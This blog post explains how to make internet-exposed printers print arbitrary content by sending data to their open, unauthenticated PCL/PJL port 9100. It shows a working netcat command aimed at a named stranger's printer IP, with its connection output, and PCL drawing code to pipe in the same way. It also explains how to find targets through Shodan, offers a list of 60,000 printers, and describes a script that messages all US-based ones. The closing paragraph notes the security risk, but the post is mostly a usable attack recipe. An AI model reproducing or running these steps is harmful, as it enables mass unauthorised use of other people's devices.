How to make 60,000 printers print whatever you want

Most, if not all, modern printers have a variety of online capabilities. You can print wirelessly, you can print from your phone, you can send an email to a “secure” address and have your document already printed and waiting for you when you arrive. But what if we want to print to someone else’s printer and not just our own? Don’t worry, you can! One feature they don’t advertise is the PCL/PJL port.

PCL (Printer Command Language) and PJL (Printer Job Language) are both methods developed by HP to control the internals of its printers: PCL for the rendering and actual printing commands, PJL for the higher-level management of jobs and printer settings and functions. These have now become essentially standards and are supported by most PostScript printers. The official HP PCL/PJL Technical Reference Manual (http://h20565.www2.hp.com/hpsc/doc/public/display?docId=emr_na-bpl13208) can give you the gritty details on the actual syntax and commands offered. What is of most interest to us is how PCL/PJL operates on the network.

Most networked printers will utilize the following ports: HTTP, HTTPS, Telnet, SNMP, but also a PCL/PJL port – port 9100 to be exact. This is essentially a remote maintenance port. It’s purpose is letting admins write PCL/PJL scripts that are then sent over the network and executed. But what’s interesting is that while a lot of printers have these ports open, I’ve found that many in my explorations (rightly) have their actual code-execution turned off or severely limited. A lot of the example PCL/PJL code injections I found from 2010/2011 didn’t work on newer printers – code as simple as changing the READYMSG (the status text on the printers display) would be ignored/unexecuted (Although a lot of the time you can do this from the printer’s web face anyway). Indeed, after some high profile hacks in 2010, many printers have ‘locked down’ their securty a bit and use their own vendor languages for configuration and only implement a small subset of PCL/PJL. But most still have the port open and 99.9% of the time not password protected. So what happens to data that you send to these inert ports?

It gets printed.

Consider the following online connected printer – 104.4.95.129. According to the printer’s web page (pictured below), it is a Lexmark XM1145 Laser printer with a speed up to 45 PPM. Notice the status is “Ready”. 

To communicate with this printer, we will use the “nc” or “netcat” command

gibson:~ egold$ echo HACK THE PLANET | nc -v -v 104.4.95.129 9100

You should see an output like:

found 0 associations

found 1 connections:

     1: flags=82<CONNECTED,PREFERRED>

 outif en0

 src 192.168.1.151 port 56327

 dst 104.4.95.129 port 9100

 rank info not available

 TCP aux info available

Connection to 104.4.95.129 port 9100 [tcp/hp-pdl-datastr] succeeded!

Now if you look on the printer’s web site, you’ll see it’s status has been changed to “Busy” – that’s because it’s printing the string we just sent it. I have reproduced this with Xerox MFP machines on a local network and with a HP M252DW wireless printer at my studio. 

This approach works with nearly any printer that has an open PCL/PJL (sometimes also referred to as the “tcp/hp-pdl-datastr”) port. It is essentially a blank canvas which will print whatever you want. If you find a printer that actually executes PCL/PJL code, you can use that to draw images or change the color outputs for what you want to print. You can also use PCL/PJL code to explore various aspects of the printer’s operating system and file structure. See Andrei Costin’s “Hacking Printers for Fun and Profit” deck – http://archive.hack.lu/2010/Costin-HackingPrintersForFunAndProfit-slides.pdf.

Costin’s deck covers pretty much everything and has tons of exploits. I tried a few of the PCL/PJL one and some still worked, others not so much. Even the once-ubiquitous @READYMSG wasn’t going through. However, most printers support PCL drawing commands. These declarative statements are redolent of BASIC and you can make some pretty chill minimalist geometric art with them – like a sort of Atari Kandinsky.

This image was created with the following code:

^[E

^[%1B

IN;SP1;

PA1000,5000;PD

BZ2000,8000,4000,2000,5000,5000;

PA199,3000;PD

DT#,1;

LBA VOICE CAN SPEAK AND MAKE NO SOUND#

PA199,4000;PD

DT#,1;

LBTHE SOUL OF THE LETTER OUTLIVE THE SOUL#

PA1500,5000;PD

DT#,1;

LBTHE WORLD IS QUIET HERE#

CI25;

PA900,4000;PD

FT4,50,68;

RR1500,100;

^[%1

^[E

^[*p300X

^[*p200Y

This is the end

Save this as a .pcl file and cat it into nc rather than the echo.

So now we know that nearly all internet connected printers have this lovely port. How do we find them? Fortunately, shodan.io makes it really easy to search internet-connected devices and even filter by what ports are open. Over 150,000 devices with an open 9100 port (https://www.shodan.io/search?query=port%3A9100). I’ve created a JSON file that has data on 60,000 printers, which you can get here.

Below is a python script which will extract all US-based printers from the JSON file and create an executable file which sends a message to all of them.

It is not impossible to imagine a scenario where a coordinated attack could result in dozens of thousands of printers being knocked off-line, made to waste ink, or print crazy messages. The solution is not obvious beyond installing a firewall (which is perhaps beyond the reach of most consumers), as the issue is at the vendor level and often disabling the port requires a fair bit of know-how, so the average consumer is still very much at risk. If we want to get dystopic, I can envision coordinated spamming rings finding these printers and the orgs associated with them and hijacking the PCL/PJL report to print advertisements directly into someone’s home. Or political campaign messages. Or cries for help.